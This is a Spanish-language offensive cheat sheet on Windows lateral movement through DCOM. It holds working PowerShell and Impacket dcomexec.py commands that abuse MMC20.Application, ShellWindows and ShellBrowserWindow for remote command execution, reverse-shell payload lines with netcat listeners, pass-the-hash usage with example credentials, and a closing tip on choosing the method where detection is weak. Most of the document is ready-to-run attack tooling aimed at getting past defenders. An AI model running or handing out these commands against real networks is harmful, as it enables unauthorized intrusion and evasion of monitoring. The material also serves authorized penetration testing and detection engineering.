Skip to content

Lateral Movement — Distributed Component Object Model (DCOM)

Herramientas


Conceptos clave

DCOM extiende COM para permitir comunicación entre objetos en máquinas diferentes. Cada objeto DCOM se identifica por tres valores en el registro:

CLSID   → GUID único que identifica la clase COM
ProgID  → nombre amigable alternativo al CLSID (no siempre existe)
AppID   → agrupa configuración de permisos de uno o más objetos COM

Usa TCP 135 para la conexión inicial y puertos dinámicos 49152-65535 para la comunicación posterior.


Requisitos

Para usar DCOM remotamente se necesita ser miembro de Distributed COM Users o Administrators. Los permisos se gestionan con DCOMCNFG, Group Policy, o el registro de Windows.


Enumeración

c
# Detectar puertos DCOM
nmap -p135,49152-65535 192.168.1.20 -sCV -Pn

# Verificar acceso con NetExec
netexec smb 192.168.1.20 -u jsmith -p P@ssw0rd2!

# Buscar CLSID de un objeto DCOM específico en el registro
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID' | ForEach-Object {
    Get-ItemProperty -Path $_.PSPath | Where-Object {$_.'(default)' -eq 'ShellWindows'} | Select-Object -ExpandProperty PSChildName
}

DCOM desde Windows

MMC20.Application

Permite interactuar remotamente con la Microsoft Management Console. Es el método más común y funciona vía ProgID por lo que no necesita buscar el CLSID. La ejecución de mmc.exe via COM es inusual y puede disparar alertas en entornos maduros.

c
# Crear instancia del objeto MMC20 en el host remoto
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.20"))

# Ejecutar comando en el host remoto via ExecuteShellCommand
# Parámetros: Command, Directory, Parameters, WindowState
$mmc.Document.ActiveView.ExecuteShellCommand("powershell.exe", $null, "-e <base64_payload>", 0)

# Verificar conexión reversa
# nc -lnvp 8001

El WindowState 0 ejecuta el proceso de forma normal (visible). Se puede usar cualquier ejecutable como primer argumento.

ShellWindows

Permite interactuar con instancias abiertas del Explorer de Windows. No tiene ProgID por lo que se necesita el CLSID. Requiere que haya una sesión de Explorer activa en el host remoto.

c
# Buscar el CLSID de ShellWindows
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID' | ForEach-Object {
    Get-ItemProperty -Path $_.PSPath | Where-Object {$_.'(default)' -eq 'ShellWindows'} | Select-Object -ExpandProperty PSChildName
}
# Resultado típico: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}

# Crear instancia con el CLSID
$shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.20"))

# Ejecutar comando
$shell[0].Document.Application.ShellExecute("cmd.exe", "/c powershell -e <base64_payload>", "C:\Windows\System32", $null, 0)

ShellBrowserWindow

Similar a ShellWindows pero orientado a ventanas de browser dentro del Explorer. Mismo flujo pero con CLSID diferente.

c
# CLSID de ShellBrowserWindow
$shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","WEB01"))

$shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.20"))

# Ejecutar comando
$shell.Document.Application.ShellExecute("cmd.exe", "/c powershell -e <base64_payload>", "C:\Windows\System32", $null, 0)

DCOM desde Linux

dcomexec.py

Herramienta de Impacket que proporciona una shell interactiva similar a wmiexec.py pero usando endpoints DCOM. Usa TCP 445 para recuperar el output via ADMIN$. Si el 445 no está disponible usar -no-output o -silentcommand.

c
# Listener primero
nc -lnvp 8080

# MMC20 — el más común y compatible
proxychains4 -q dcomexec.py -object MMC20 CORP/jsmith:P@ssw0rd2!@192.168.1.20 "whoami"

# Con payload de reverse shell
proxychains4 -q dcomexec.py -object MMC20 CORP/jsmith:P@ssw0rd2!@192.168.1.20 "powershell -e <base64_payload>" -silentcommand

# ShellWindows
proxychains4 -q dcomexec.py -object ShellWindows CORP/jsmith:P@ssw0rd2!@192.168.1.20 "whoami"

# ShellBrowserWindow
proxychains4 -q dcomexec.py -object ShellBrowserWindow CORP/jsmith:P@ssw0rd2!@192.168.1.20 "whoami"

# Sin output (cuando puerto 445 bloqueado)
proxychains4 -q dcomexec.py -object MMC20 CORP/jsmith:P@ssw0rd2!@192.168.1.20 "cmd /c whoami > C:\Windows\Temp\out.txt" -no-output

# Con hash NTLM
proxychains4 -q dcomexec.py -object MMC20 -hashes :8846F7EAEE8FB117AD06BDD830B7586C CORP/jsmith@192.168.1.20 "whoami"

# Shell interactiva (sin especificar comando)
proxychains4 -q dcomexec.py -object MMC20 CORP/jsmith:P@ssw0rd2!@192.168.1.20

Comparativa de objetos DCOM

MMC20.Application     → via ProgID, no necesita CLSID, más compatible
ShellWindows          → via CLSID, necesita Explorer activo en el target
ShellBrowserWindow    → via CLSID, similar a ShellWindows

Si un objeto DCOM no está disponible en el host objetivo, probar con otro. No todos los hosts tienen todos los objetos habilitados.


Consideraciones de detección

La ejecución de mmc.exe via COM desde una cuenta no administrativa o desde un proceso inusual es fácilmente detectable. En entornos con EDR maduro es más probable que dispare alertas que otros métodos como WMI o SMB. Usar solo cuando otros métodos no están disponibles o cuando el entorno tiene poca madurez en detección.